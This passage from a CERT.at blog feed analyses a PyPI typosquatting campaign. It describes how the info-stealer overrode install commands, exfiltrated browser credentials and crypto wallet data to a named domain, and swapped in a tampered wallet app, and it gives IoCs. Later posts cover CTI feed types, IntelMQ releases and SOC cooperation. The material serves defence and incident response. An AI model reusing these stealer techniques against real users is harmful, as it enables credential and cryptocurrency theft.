de-obfuscation.</li> </ul> <div class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20240328/Screenshot%20from%202024-03-27%2009-57-46.png" alt="Final version of &ldquo;schubismomv3&rdquo; &ndash; overriding the installation command" width="1000" height="198" /></div> <div class="block" style="text-align: center;"><em>Final version of &ldquo;schubismomv3&rdquo; &ndash; overriding the installation command</em></div> <p class="block" style="text-align: justify;">The obfuscated code performed a &nbsp;number of tasks typical for information stealers, such as exfiltrating cookies and passwords from web browsers, but also looked for browser extensions and applications related to cryptocurrencies, documents with names indicating that they contained secret information (Do you name your top-secret documents something like &ldquo;seecret&rdquo;?) and so on. All this information is then compressed and sent out to &ldquo;funcaptcha[.]ru/delivery&rdquo; (thus the name for the campaign). Afterwards, an interesting thing would happen: if the script detected an installation of Atomic Wallet [1], a cryptocurrency wallet app, it downloaded its own version, trying to replace the original. Finally, the next Python script was downloaded and put in the Windows start up directory.</p> <div class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20240328/Screenshot%20from%202024-03-27%2010-50-11.png" alt="A sample from de-obfuscated code attempting to replace the original app" width="645" height="400" /></div> <div class="block" style="text-align: center;"><em>A sample from de-obfuscated code attempting to replace the original app</em></div> <p class="block" style="text-align: justify;">I'll leave the deep analysis of these artifacts to others. Let's take a look at why this is a campaign, and&nbsp;not just a single malicious package, instead. As soon as &ldquo;schubismomv3&rdquo; was reported and removed (shortly after 21:00, according to the information&nbsp;I was able to gather), PyPI was flooded with similar packages, all displaying the same malicious activity.</p> <p class="block" style="text-align: justify;">Initially, the threat actor used not exactly marketing friendly names, such as &ldquo;insanepackagev1434&rdquo; or &ldquo;insanepackage217234234242423442983&rdquo;. But later on they began to attempt to &ldquo;typo-squat&rdquo; popular packages, by creating and uploading packages which closely &ndash; but not exactly &ndash; mirrored the names of popular ones.</p> <p class="block" style="text-align: justify;">A few examples were &ldquo;reqzests&rdquo;, &ldquo;requetsa&rdquo;, &ldquo;py-cordd&rdquo;, &ldquo;py-coqrd&rdquo;, &ldquo;coloramza&rdquo;, &ldquo;corlorama&rdquo;, &ldquo;capmonstercloudclouidclient&rdquo;, &ldquo;piolow&rdquo;, &ldquo;bop-utils&rdquo;, and many hundreds (!) more.</p> <p class="block" style="text-align: justify;">The campaign continued until the early hours of March 28th, when PyPI administrators took the decision to temporarily suspend registration of new users and projects [14]. By then, more than 500 packages had been created.</p> <h2 class="block">They are not alone&hellip;</h2> <p class="block" style="text-align: justify;">Looking at the few months I spent looking at PyPI, I can confidently say that the &ldquo;funcaptcha&rdquo; campaign might have been an exception in terms of the number of malicious packages involed &ndash; but it was not the only one.</p> <p class="block" style="text-align: justify;">I observed a number of potentially malicious packages, with another recent case, &ldquo;yocolor&rdquo;, initially looking like a small thing on PyPI, but turning out to be a significantly bigger campaign targeting repositories on Github [2] [3].</p> <p class="block" style="text-align: justify;">A further number of suspicious packages didn't do anything harmful, but weren't what you wanted to get either &ndash; some were pentesting packages (they usually get removed very quickly), some were advertisements, some may be part of research efforts.</p> <div class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20240328/curl-stat-example.png" alt="Example command extracted from a package that is not harmful on its own, but you probably didn't want to share all of it" width="1000" height="76" /></div> <div class="block" style="text-align: center;"><em>Example command extracted from a package that is not harmful on its own, but you probably didn't want to share all of it</em></div> <h2 class="block" style="text-align: justify;">...but it&rsquo;s also no reason to panic</h2> <p class="block" style="text-align: justify;">Everything I have written about is disturbing, but comparatively simple to catch. The methods are so popular (and obvious) that it's somewhat confusing to me. The threat actors must be aware that the chances of successfully compromising an actual, real world systems are slim to negligible. The reasonably expectable return on investment is far outweighed by the effort the attackers have put into these campaigns.</p> <p class="block" style="text-align: justify;">The "funcaptcha" campaign is a good example - yes, their code contains functionality to exfiltrate data, as well as some more advanced techniques. But the initial infection vector &ndash; assuming that there aren't any further, undiscovered ones &ndash; exposes packages to quick detection and swift removal.</p> <p class="block" style="text-align: justify;">Overriding the default install command is one of the first things that is being checked when a package is examined, and an external connection during installation is a pretty suspicious activity (although often a legitimate behavior).</p> <p class="block" style="text-align: justify;">The attackers seemed to know all of this and didn't attempt to hide it &ndash; which is odd,&nbsp;unless the campaign was just a smokescreen. The first step was slightly modified in later packages, downloading the first malicious script from their domain instead of embedding it, and recording the name of the package.</p> <div class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20240328/Screenshot%20from%202024-03-27%2011-46-58.png" alt="Example description of packages released in later stages of the &ldquo;funcaptcha&rdquo; campaign &ndash; it was what you would see in PyPI. I hope you wouldn't try to install such a package." width="1000" height="50" /></div> <div class="block" style="text-align: center;"><em>Example description of packages released in later stages of the &ldquo;funcaptcha&rdquo; campaign &ndash; it was what you would see in PyPI. I hope you wouldn't try to install such a package.</em></div> <h2 class="block">PyPI Security Team</h2> <p class="block" style="text-align: justify;">The big role in securing your development environment against such attacks is played by PyPI. After a few attempts, the index decided against proactively hunting for malware years ago,&nbsp;instead investing in&nbsp;improving the handling of abuse reports.</p> <p class="block" style="text-align: justify;">And they do it well. The team responds very quickly, sometimes taking down malicious packages in a matter of minutes. Last year, PyPI reached an important milestone by hiring its first official Safety &amp; Security Engineer [4].</p> <p class="block" style="text-align: justify;">They are active and transparent about their work, conducting a security audit of the registry [5], explaining the abuse reporting process [6], and most recently improving the reporting channel, as well as launching a private beta of the reporting API [7].</p> <p class="block" style="text-align: justify;">This means that the PyPI, while under constant attack from threat actors, is leveraging the power of many researchers hunting for malicious packages. And it seems to work well, at least against threat actors using known methods.</p> <h2 class="block">What does all of this mean for me?</h2> <p class="block" style="text-align: justify;">My personal opinion is that most of the cases we see in the security media and researchers' blog posts about malicious packages aren't the real threats we should be spending sleepless nights thinking about&nbsp;&ndash; we can leave that restlessness to advanced threats like backdoors in popular libraries, well hidden malicious actions which are only&nbsp;triggered under very specific conditions, and so on.</p> <p class="block" style="text-align: justify;">The typical threats&nbsp;relying on obvious methods are more like the flu: we cannot ignore them, but we should get used to them and, most importantly, take basic precautions.</p> <p class="block" style="text-align: justify;">These always depend on what you're trying to secure &ndash; don't forget to think about your threat modeling, even if it's basic!</p> <p class="block" style="text-align: justify;">There are a few tips, useful not only for Python environments:</p> <ul> <li class="block" style="text-align: justify;">Do. Not. Download. Random. Stuff. Really, that&rsquo;s the most important thing. Malicious code is often hidden in low-quality packages, repositories in Github, and so on. Please pay attention to what you run on your computer.</li> <li class="block" style="text-align: justify;">Use reputable dependencies. But be careful: the information in package registries, such as connected repositories or maintenance names, is often just a declaration. Instead, use external reputation services. There are a few free ones you can check (for example [8] [9]), as well as services that offer only verified dependencies for download.</li> <li class="block" style="text-align: justify;">Keep your dependencies healthy. Scan them regularly for known vulnerabilities (including container images), and install security updates (not necessarily fully automated &ndash; that would open the door to other threats). You can use free or paid services, and your source hosting service probably already has something ready for painless integration. For example, you can check out osv.dev&nbsp;[10].</li> <li class="block" style="text-align: justify;">Install only&nbsp;what you need. You can think of your project's dependencies as an ingredient list: if the food&nbsp;item&nbsp;or beverage you're about to buy has a long list of ingredients you don't understand, you should probably think twice before eating it. Dependencies that you don't need, dependencies that have been used but are no longer used &ndash; all of those unnecessarily increase the risk of an incident.</li> <li class="block" style="text-align: justify;">Think about reducing the data that your development environment has access to. Thread actors use malicious packages and repositories to target data on developer machines. Solutions such as development&nbsp;containers [11] can reduce the potential scope of a breach.</li> <li class="block" style="text-align: justify;">Monitor test environments&nbsp;the same way&nbsp;as you would production. Advanced threats may not be easy to detect locally, but there is a chance that they will reveal their intentions in your test environments before they reach production. Monitoring outgoing connections can be helpful in catching them. Also: you probably also want to secure your test environments as production if they are accessed externally [12], and not leave your production data there, especially of former customers [13].</li> </ul> <h2 class="block">Stay safe</h2> <p class="block" style="text-align: justify;">I started by explaining a case from the PyPI world, but that was just an example. Developing software means relying on external dependencies, and it's great that we share common parts, especially when implementing complex solutions (Don't implement your own cryptography. Just don't.). Like everything, it brings its own risks, and we just have to be aware of them. And take precautions. And do not download random stuff.</p> <h3 class="block">IoCs</h3> <p class="block">You can look for signs of &ldquo;funcaptcha&rdquo; by:</p> <ul> <li class="block">funcaptcha[.]ru</li> <li class="block" style="text-align: justify;">0c1ddd33e630f4ac684880f0e673dfa84919272494c11da0f1ec05fb4f919ce8 &ndash; first of modified apps the script tried to inject</li> <li class="block" style="text-align: justify;">abe19b0964daf24cd82c6db59212fd7a61c4c8335dd4a32b8e55c7c05c17220d &ndash; second modified app</li> </ul> <h3 class="block">References</h3> <p class="block">[0] <a href="https://x.com/_JohnHammond/status/1772704618574705057?s=20">https://x.com/_JohnHammond/status/1772704618574705057?s=20</a></p> <p class="block">[1] <a href="https://atomicwallet.io/">https://atomicwallet.io/</a></p> <p class="block">[2] <a href="https://www.bleepingcomputer.com/news/security/hackers-poison-source-code-from-largest-discord-bot-platform/">https://www.bleepingcomputer.com/news/security/hackers-poison-source-code-from-largest-discord-bot-platform/</a></p> <p class="block">[3] <a href="https://medium.com/@demonia/discovering-malwares-in-public-github-repositories-3e080f030ecc">https://medium.com/@demonia/discovering-malwares-in-public-github-repositories-3e080f030ecc</a></p> <p class="block">[4] <a href="https://blog.pypi.org/posts/2023-08-04-pypi-hires-safety-engineer/">https://blog.pypi.org/posts/2023-08-04-pypi-hires-safety-engineer/</a></p> <p class="block">[5] <a href="https://blog.pypi.org/posts/2023-11-14-1-pypi-completes-first-security-audit/">https://blog.pypi.org/posts/2023-11-14-1-pypi-completes-first-security-audit/</a></p> <p class="block">[6] <a href="https://blog.pypi.org/posts/2023-09-18-inbound-malware-reporting/">https://blog.pypi.org/posts/2023-09-18-inbound-malware-reporting/</a></p> <p class="block">[7] <a href="https://blog.pypi.org/posts/2024-03-06-malware-reporting-evolved/">https://blog.pypi.org/posts/2024-03-06-malware-reporting-evolved/</a></p> <p class="block">[8] <a href="https://deps.dev/">https://deps.dev/</a></p> <p class="block">[9] <a href="https://securityscorecards.dev/">https://securityscorecards.dev/</a></p> <p class="block">[10]&nbsp; <a href="https://osv.dev/">https://osv.dev/</a></p> <p class="block">[11] <a href="https://containers.dev/">https://containers.dev/</a></p> <p class="block">[12] <a href="https://www.theverge.com/2024/1/26/24051708/microsoft-hack-russian-security-attack-senior-leadership-emails">https://www.theverge.com/2024/1/26/24051708/microsoft-hack-russian-security-attack-senior-leadership-emails</a></p> <p class="block" style="text-align: justify;">[13] <a href="https://niebezpiecznik.pl/post/dcg-centrum-medyczne-pokazuje-jak-nie-informowac-o-kradziezy-danych-pacjentow/">https://niebezpiecznik.pl/post/dcg-centrum-medyczne-pokazuje-jak-nie-informowac-o-kradziezy-danych-pacjentow/</a>&nbsp; (Polish &ndash; data of a medical clinic stolen from the test environment of a vendor they have not worked with for a few years)</p> <p class="block">[14] <a href="https://status.python.org/incidents/dc9zsqzrs0bv">https://status.python.org/incidents/dc9zsqzrs0bv</a>&nbsp;</p>Thu, 28 Mar 2024 15:16:01 GMT+0100https://www.cert.at/en/blog/2024/3/hobby-hunter-notes-pypi-under-attackCERT.at2024-03-28T15:16:01Zhttps://www.cert.at/en/blog/2023/9/european-cyber-shield<p class="block">The EU has been pushing the concept of the "European Cyber Shield" within the Digital Europe Programme as well as with the proposed "Cyber Solidarity Act".</p> <p class="block">After a presentation on this topic at the CSIRTs Network meeting in June, I've written a long-form paper to lay out my thinking on this topic.</p> <h2 class="block">Executive Summary</h2> <ul> <li class="block">The proposed Cyber Shield (Chapter 2 Cyber Solidarity Act) contains valid ideas: supporting SOCs by fostering national and cross-border collaboration is worth doing.</li> <li class="block">An unfortunate choice of terminology is prone to confuse readers of the Act. A change would be welcomed.</li> <li class="block">The relationship between the proposed structures and the tasks of the CSIRTs and the CSIRTs network (as stipulated in the NIS2 Directive) is not entirely clear. Defining this relationship and integrating the proposed roles with the existing structures would be useful.</li> <li class="block">EU funding for multiple consortia with the aim of building closer, technical collaborations in cross-border structures is a sound investment.</li> </ul> <p class="block">The full paper is available <a class="pdf" href="https://www.cert.at/media/files/downloads/papers/2309/2023-09-12-european-cyber-shield.pdf">here</a> or from our <a href="https://cert.at/en/downloads/papers/">Download/Papers page</a>.</p>Tue, 12 Sep 2023 10:18:45 GMT+0100https://www.cert.at/en/blog/2023/9/european-cyber-shieldCERT.at2023-09-12T10:18:45Zhttps://www.cert.at/en/blog/2023/9/cti-data-feeds<p class="block">We at CERT.at process and share a wide selection of cyber threat intelligence (CTI) as part of our core mission as Austria&rsquo;s hub for IT security information. Right now, we are involved in two projects that involve the purchase of commercial CTI. I encountered some varying views on what CTI is and what one should do with the indicators of compromise (IoCs) that are part of a CTI feed.</p> <p class="block">This blog post describes my view on this topic.</p> <h1 class="block">Context</h1> <p class="block">The <a href="https://ccb.belgium.be/en/enisa-launches-pilot-project-emergency-measures">EU decided in March 2022</a> to create a <a href="https://www.enisa.europa.eu/publications/cybersecurity-support-action">cybersecurity emergency response fund</a> with which <a href="https://etendering.ted.europa.eu/cft/cft-display.html?cftId=11918">ENISA can purchase</a> support services for the NIS entities in the member states.</p> <p class="block">Austria is also taking part in a project that stems from the DEP call <a href="https://ec.europa.eu/info/funding-tenders/opportunities/portal/screen/opportunities/topic-details/digital-eccc-2022-cyber-03-soc">DIGITAL-ECCC-2022-CYBER-03</a> in combination with a <a href="https://digital-strategy.ec.europa.eu/en/news/cybersecurity-eu-launches-first-phase-deployment-european-infrastructure-cross-border-security">joint procurement with the ECCC</a>.</p> <h1 class="block">Layers of CTI</h1> <p class="block">One way to structure and classify CTI feeds is to look at the abstraction level at which they operate. As <a href="https://en.wikipedia.org/wiki/Cyber_threat_intelligence">Wikipedia</a> puts it:&nbsp;</p> <ul> <li class="block"><strong>Tactical</strong>: Typically used to help identify threat actors (TAs). Indicators of compromise (such as IP addresses, Internet domains or hashes) are used and the analysis of tactics, techniques and procedures (TTP) used by cybercriminals is beginning to be deepened. Insights generated at the tactical level will help security teams predict upcoming attacks and identify them at the earliest possible stages.</li> <li class="block"><strong>Operational</strong>: This is the most technical level of threat intelligence. It shares hard and specific details about attacks, motivation, threat actor capabilities, and individual campaigns. Insights provided by threat intelligence experts at this level include the nature, intent, and timing of emerging threats. This type of information is more difficult to obtain and is most often collected through deep, obscure web forums that internal teams cannot access. Security and attack response teams are the ones that use this type of operational intelligence.</li> <li class="block"><strong>Strategic</strong>: Usually tailored to non-technical audiences, intelligence on general risks associated with cyberthreats. The goal is to deliver, in the form of white papers and reports, a detailed analysis of current and projected future risks to the business, as well as the potential consequences of threats to help leaders prioritize their responses.</li> </ul> <p class="block">With tactical CTI, there a reasonable chance that it can shared on a machine-to-machine basis with full semantic information that makes it possible to automate the processing for detection and prevention purposes. Many commercial security devices are sold with a subscription to the vendor&rsquo;s own data-feeds. This ranges from simple anti-spam solutions, over filters for web proxies to rules for SIEMs.</p> <p class="block">While it is possible to encode operational CTI in standardized data exchange formats like STIX2, it is much harder for automated systems to operationalize this information. For example, what automated technical reaction is possible to &ldquo;threat actor X is now using compromised&nbsp;<a href="https://en.wikipedia.org/wiki/Customer-premises_equipment">CPEs</a> in the country of its targets for C2 communication&rdquo;? Yes, one can store that kind of information in&nbsp;<a href="https://github.com/OpenCTI-Platform/opencti">OpenCTI</a> (or a similar Threat Intelligence Platform (TIP)) and map it to the <a href="https://attack.mitre.org/">ATT&amp;CK framework</a>. That can be valuable for the human expert to plan defenses or to react better during incidents, but it is not detailed enough for automated defense.</p> <p class="block">With strategic CTI, we are on the human management layer. This is never designed for automated processing by machines.</p> <h1 class="block">Types of IOCs</h1> <p class="block">Focusing on the <strong>technical layer</strong>, we find that there are a number of different types of information encoded in the data feeds. One way to look at this is the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model of intrusion analysis</a> which is built around information on adversary, capability, infrastructure, and victim. While this is a very valuable model for intrusion analysis, it is too complex for a simple categorization of CTI feeds.</p> <p class="block">I propose the following three basic types:</p> <h2 class="block">Type 1: Attack Surface Information</h2> <p class="block">Many of the feeds from Shadowserver fall in this category. Shodan data can also be a good example. There is now a&nbsp;<a href="https://en.wikipedia.org/wiki/Cybersecurity_rating#Security_Rating_Services">bunch of companies</a> focusing on &ldquo;cyber risk rating&rdquo;, which all try to evaluate the internet-visible infrastructure of organizations.</p> <p class="block"><strong>Examples</strong>:</p> <ul> <li class="block">&ldquo;On IP-address A.B.C.D, at time X, we detected a Microsoft Exchange server running a version that is vulnerable to CVE-202X-XXXX&rdquo;.</li> <li class="block">"The time-server at IP addres Y can be abused as ddos-reflector."</li> <li class="block">"On IP address Z, there is an unprotected MongoDB reachable from the Internet."</li> </ul> <p><strong>Notable points</strong> are:</p> <ul> <li class="block">This is very specific information about a concrete system. Usually, it is very clear who is responsible for it.</li> <li class="block">There is no information about an actual compromise of the listed system. The system might be untouched or there may already be a number of webshells deployed on it.</li> <li class="block">There is no information about an attacker.</li> <li class="block">This is sensitive (potentially even GDPR-relevant) information.</li> <li class="block">This information is (almost) useless to anybody but the owners of the system. Well, except for threat actors - that is another reason why we consider this to be sensitive information.</li> <li class="block">Thus, the coordinating CSIRT should pass this information on to the maintainers of this system and to nobody else. CERT.at is usually tagging these events with &ldquo;vulnerable / vulnerable system&rdquo; or &ldquo;vulnerable / potentially unwanted accessible service&rdquo;.</li> </ul> <p class="block"><strong>Expected response</strong> from system owner:&nbsp;</p> <ul> <li class="block">Mitigate the threat by reconfiguring / patching / upgrading / removing the system or maybe even accept the risk (e.g. &ldquo;yes, we really want to have telnet enabled on that server&rdquo;).</li> <li class="block">Verify that the system has not been breached yet.</li> </ul> <h2 class="block">Type 2: Threat Actor IOCs</h2> <p class="block">This is the opposite: the information is solely about the threat actor and the resources this group is using, but there is no clear information on the targets. Typical information contained in these IOCs is:</p> <ul> <li class="block">The domain-name of a command &amp; control (C2) server of the TA</li> <li class="block">An IP address of a C2 server</li> <li class="block">Filename and/or hash of malware used by the TA</li> <li class="block">Email subject, sender and sending IP address of a phishing mail</li> <li class="block">Mutex names, registry-keys or similar artefacts of an infection</li> <li class="block">URL-pattern of C2 connections</li> </ul> <p class="block"><strong>Example</strong>:</p> <ul> <li class="block">A RAT Remcos campaign was detected 2023-06-14 to use <ul> <li class="block">Mutex: Rmc-MQTCB0</li> <li class="block">URI: /json.gp</li> <li class="block">Email-attachment: Shipment_order83736383_document_file9387339.7z</li> <li class="block">MD5: 2832aa7272b0e578cd4eda5b9a1f1b12</li> <li class="block">Filename: Shipment_order837363.exe</li> </ul> </li> </ul> <p class="block"><strong>Notable points</strong> are:</p> <ul> <li class="block">This is detailed information about a threat actor infrastructure, tools and procedures.</li> <li class="block">There is often no information about targets of these attacks. Sometimes, some targeting information is known, like &ldquo;This TA usually attacks high-tech companies&rdquo;.</li> <li class="block">This information is potentially useful for everybody who that actor might target.</li> <li class="block">Unless one thinks that attacker IP-addresses deserve GDPR-protection, this data has no privacy implication.</li> <li class="block">Thus, the coordinating CSIRT should pass this information on to all constituents who are capable of operationalizing such CTI. CERT.at is usually not sending this kind of information pro-actively to all constituents, instead we operate a MISP instance which holds these IOCs. Security automation on the side of the constituent is welcome to use the MISP APIs to fetch and process the IOCs.</li> <li class="block">If the targeting of the TA is sufficiently well known and specific, CERT.at will pass on the IOCs directly to the constituent&rsquo;s security team.</li> <li class="block">In rare cases, the TA is abusing infrastructure of one of our constituents. In that case, we have a mix with the next type of CTI.</li> </ul> <p class="block"><strong>Expected response</strong> from system owner:</p> <ul> <li class="block">Add the IOCs to any sort of incident prevention system, e.g., filter lists in proxies, <a href="https://en.wikipedia.org/wiki/Endpoint_detection_and_response">EDR</a> or AV software.</li> <li class="block">Add the IOCs to the incident detection system, e.g., create suitable rules in <a href="https://en.wikipedia.org/wiki/Security_information_and_event_management">SIEMs</a>.</li> <li class="block">Ideally, also perform a search in old logs for the newly acquired IOCs.</li> </ul> <h2 class="block">Type 3: Infection data</h2> <p class="block">Sometimes we receive cyber threat information that is very specific and concerns a live incident inside a constituent&rsquo;s network.</p> <p class="block"><strong>Examples</strong> are:</p> <ul> <li class="block">&ldquo;We detected at timestamp X a webshell placed on a Citrix server. IP-address = A.B.C.D, path = /logon/LogonPoint/uiareas/mac/vkb.php&rdquo;</li> <li class="block">&ldquo;Our darknet monitoring detected that someone is selling VPN credentials for user@example.com on the platform X&rdquo;</li> <li class="block">&ldquo;After a takedown of botnet X we are monitoring botnet drone connections to the former C2 servers. On [timestamp], the IP address A.B.C.D connected to our sinkhole.&rdquo;</li> <li class="block">&ldquo;We managed to get access to the infrastructure of threat actor X. According to the data we found there, your constituent Y is compromised.&rdquo;</li> <li class="block">&ldquo;Please find below information on IPs geolocated in your country which are most likely hosting a system infected by SystemBC malware. [&hellip;] Timestamp, IP-address, hostname, c2 ip-address&rdquo;</li> <li class="block">&ldquo;There are signs of malicious manipulations on the Website of domain X, there is a phishing page at /images/ino/95788910935578/login.php&rdquo;</li> </ul> <p class="block"><strong>Notable points</strong> are:</p> <ul> <li class="block">This is usually very specific information about a live incident involving a concrete system.</li> <li class="block">In the best case, the information is good enough to trigger a successful investigation and remediation.</li> <li class="block">The threat actor is often, but not always, named.</li> <li class="block">This is sensitive (potentially even GDPR-relevant) information.</li> <li class="block">This information is (almost) useless to anybody but the owners of the system.</li> <li class="block">This information can be very time-sensitive: a quick reaction can sometimes prevent a ransomware incident.</li> <li class="block">Thus, the coordinating CSIRT should pass this information quickly on to the maintainers of this system and to nobody else. CERT.at is usually tagging these events with &ldquo;intrusions / system-compromise&rdquo; or &ldquo;fraud / phishing&rdquo;</li> </ul> <p class="block"><strong>Expected response</strong> from system owner:</p> <ul> <li class="block">Start the local incident response process.</li> <li class="block">Clean up the known infection and investigate the possibility of additional compromises in the affected network (lateral movement?).</li> <li class="block">Investigate how the system got comprimised and reconfigure / patch / upgrade / remove the system so that a re-infection via the same vulnerability is no longer possible.</li> </ul> <h1 class="block">Tooling</h1> <p class="block">CERT.at is using <a href="https://github.com/certtools/intelmq">IntelMQ</a> to process feeds of type 1 and 3. CTI feeds of type 2 are handled by our <a href="https://www.misp-project.org/">MISP</a> installation.</p>Wed, 06 Sep 2023 17:21:48 GMT+0100https://www.cert.at/en/blog/2023/9/cti-data-feedsCERT.at2023-09-06T17:21:48Zhttps://www.cert.at/en/blog/2023/8/intelmq-321-bug-fix-released<p class="block">IntelMQ, an open-source security feeds processing tools, has just got a new release to fix two recently discovered bugs.</p> <p class="block">One was introduced in the last 3.2.0 and prevents bots from stopping after being reloaded. As reloading is used in our default configuration for logrotate service, it affects most instances with the IntelMQ 3.2.0. If after the upgrade you still cannot stop your bot, please manually kill the bot's process and start it again.</p> <p class="block">The second bug was discovered in the Reverse DNS Expert bot, which was incorrectly caching findings for one IP as if they were for the /24-prefixed subnet.</p> <p class="block">As usuall, you can get the last IntelMQ from <a title="Release 3.2.1 on GitHub" href="https://github.com/certtools/intelmq/releases/tag/3.2.1">GitHub</a>, <a title="IntelMQ 3.2.1 on PyPI" href="https://pypi.org/project/intelmq/">PyPI</a>, <a href="https://software.opensuse.org/download.html?project=home:sebix:intelmq&amp;package=intelmq">deb repository</a> and <a href="https://hub.docker.com/r/certat/intelmq-full">Docker Hub</a>. Unfortunately, the 3.2.x API package for Ubuntu 22.04 is still delayed.</p> <p class="block">Do not hesitate to share your feedback with the IntelMQ Community on <a href="https://github.com/certtools/intelmq/issues">GitHub issues</a> or the IntelMQ <a href="https://lists.cert.at/cgi-bin/mailman/listinfo/intelmq-users">users mailing list</a>.</p> <hr /> <p class="block">This blog post is part of a series of blog posts related to our 2020-AT-IA-0254 project, which also support our participation in the CSIRTs Network.</p> <p class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/EN%20Co-funded%20by%20the%20EU_PANTONE%20%281%29.jpg" width="100%" /></p>Tue, 29 Aug 2023 10:53:36 GMT+0100https://www.cert.at/en/blog/2023/8/intelmq-321-bug-fix-releasedCERT.at2023-08-29T10:53:36Zhttps://www.cert.at/en/blog/2023/7/intelmq-320-released-run-bots-as-a-library<p class="block">We are continuing to support IntelMQ, an open-source solution for collecting and processing security feeds. Recently, the IntelMQ Community announced the release of new version 3.2.0.</p> <p class="block">In the new release, IntelMQ received support for running bots as a library, which should allow for better integration with other tools. A significant contribution from our side is rewriting the IntelMQ API to use a modern FastAPI framework.</p> <p class="block">As usual, this update contains plenty of bug fixes and enhancements. We have improved the performance of some CLI commands, which was previously reported as a significant issue for larger workflows. The complete changelog and release note are <a title="IntelMQ 3.2.0 release notes" href="https://github.com/certtools/intelmq/releases/tag/3.2.0">available on GitHub</a>.</p> <p class="block">IntelMQ 3.2.0 has already been released on <a title="Release 3.2.0 on GitHub" href="https://github.com/certtools/intelmq/releases/tag/3.2.0">GitHub</a>, <a title="IntelMQ 3.2.0 on PyPI" href="https://pypi.org/project/intelmq/">PyPI</a>, and as <a href="https://software.opensuse.org/download.html?project=home:sebix:intelmq&amp;package=intelmq">deb packages</a> and Docker images in the <a href="https://hub.docker.com/r/certat/intelmq-full">Docker Hub</a>. Some packages are delayed (including the API for Ubuntu 22.04) because of packaging issues, and they will follow soon.</p> <p class="block">We are thrilled to hear your feedback &ndash; the best place to share your thoughts with the IntelMQ Community is <a href="https://github.com/certtools/intelmq/issues">GitHub issues</a> and the IntelMQ <a href="https://lists.cert.at/cgi-bin/mailman/listinfo/intelmq-users">users mailing list</a>.</p> <hr /> <p class="block">This blog post is part of a series of blog posts related to our 2020-AT-IA-0254 project, which also support our participation in the CSIRTs Network.</p> <p class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/EN%20Co-funded%20by%20the%20EU_PANTONE%20%281%29.jpg" width="100%" /></p>Tue, 25 Jul 2023 15:34:22 GMT+0100https://www.cert.at/en/blog/2023/7/intelmq-320-released-run-bots-as-a-libraryCERT.at2023-07-25T15:34:22Zhttps://www.cert.at/en/blog/2023/7/a-network-of-socs<h1 class="block">Preface</h1> <p class="block">I wrote most of this <strong>text quickly in January 2021</strong> when the European Commission asked me to apply my lessons learned from the <a href="https://csirtsnetwork.eu/">CSIRTs Network</a> to a potential European Network of SOCs. During 2022, the plans for SOC collaboration have been toned down a bit, the <a href="https://ec.europa.eu/newsroom/ECCC/items/767258/en">DIGITAL Europe funding scheme</a> proposes multiple platforms where SOCs can work together. In 2023, the newly proposed &ldquo;<a href="https://digital-strategy.ec.europa.eu/en/policies/cyber-solidarity">Cyber Solidarity Act</a>&rdquo; builds upon this and codifies the concept of a &ldquo;national SOC&rdquo; and &ldquo;cross-border SOC platforms&rdquo; into an EU regulation.</p> <p class="block">At the CSIRTs Network Meeting in Stockholm in June 2023 I gave a presentation on&nbsp; the strenghts and flaws in the CSoA approach. A position paper / blog-post on that is in the works.</p> <p class="block">The original text (with minor edits) starts below.</p> <h1 class="block">Context</h1> <p class="block">The NIS Directive established the CSIRTs Network (CNW) in 2016, and the EU Cybersecurity Strategy from 2020 tries to do something similar for SOCs (Security Operation Centres).</p> <p class="block">I was asked by DG-CNECT to provide some lessons identified from the CWN that might be applicable for the SOC Network (SNW).</p> <p class="block">The following points are not a fully fleshed out whitepaper, instead they are a number of propositions with short explanations.</p> <p class="block">The most important point is that <strong>one cannot just focus on the technical aspects of SOC collaboration</strong>. That is the easy part. We know which tools work. The <a href="https://github.com/melicertes/docs?linkId=191595424">same stack that we developed for the CSIRTs Network</a> can almost 1:1 support SOC networks.</p> <p class="block">Our colleagues from CCN-CERT presented the <a href="https://rns.ccn-cert.cni.es/en">Spanish SOC Network</a> at various meetings recently. Yes, there was one slide with their MISP setup, but the main content was the administrative side and the incentive structure they built to encourage active participation by all members.</p> <h1 class="block">Human Element</h1> <h2 class="block">Trust</h2> <p class="block">Any close cooperation needs a basic level of trust between participants. The more sensitive the topic and the more damage could potentially be done by the misuse of information shared between the organisations, the more trust is needed for effective collaboration.</p> <p class="block">There must be an understanding that one can rely on others to keep secrets, and to actually communicate if something important for the partner is learned.</p> <h3 class="block">Trust is not binary</h3> <p class="block">Trust is not a binary thing: There is more than &ldquo;I trust&rdquo; or &ldquo;I don&rsquo;t trust&rdquo;; it always depends on the concrete case if you trust someone enough to cooperate in this instance.</p> <h3 class="block">Trust needs Time</h3> <p class="block">Some basic level of trust is given to others based on their position (e.g., I trust the baker to sell me edible bread; I trust every police officer to do the basics correctly), but only repeated interactions with the same person/organisation increases the trust over time. (See &ldquo;<a href="https://en.wikipedia.org/wiki/The_Evolution_of_Cooperation">The Evolution of Cooperation</a>&rdquo;)</p> <p class="block">Thus, one needs to give all these networks time to establish themselves and the trust relationships.</p> <p class="block">These things really take time. We are talking about years.</p> <h3 class="block">Physical meetings (incl. social events) help</h3> <p class="block">Bringing people together is very helpful to bootstrap cooperation.</p> <h3 class="block">You can&rsquo;t legislate Trust</h3> <p class="block">There are limited possibilities to declare ex cathedra that one has to trust someone. It might work do certain degree if people are forced by external events to collaborate (e.g., call the police if you have to deal with a significant crime; or reporting requirements to authorities; or hand your kids over to day-care/school/ &hellip;).</p> <p class="block">Even in these cases, these organisations have to be very careful about their reputation: misuse of their trust positions will significantly affect how much trust is given, even under duress.</p> <h3 class="block">Persons or Teams</h3> <p class="block">Trust can be either anchored to persons or to organisations. I might trust a certain barber shop to get my haircut right, but I&rsquo;ll prefer to go the same person if the cutter got it right the last time.</p> <p class="block">Experience has shown that is possible to establish institutional trust: If I know that Team X is competently run, then I will not hesitate to use the formal contact point of that team.</p> <p class="block">Still: if something is really sensitive, I will try to reach the buddy working for that other team with whom I have bonded over beer and common incidents.</p> <h2 class="block">Group Size</h2> <p class="block">Close cooperation in groups cannot be sustained if the number of participants increases beyond a certain limit. This has been observed in multiple fora, amongst them FIRST, TF-CSIRT, and ops-t (which was actually an experiment in scaling trust groups).</p> <p class="block">As a rule of thumb: whenever you cannot have every member of the group present their current work/topics/ideas/issues 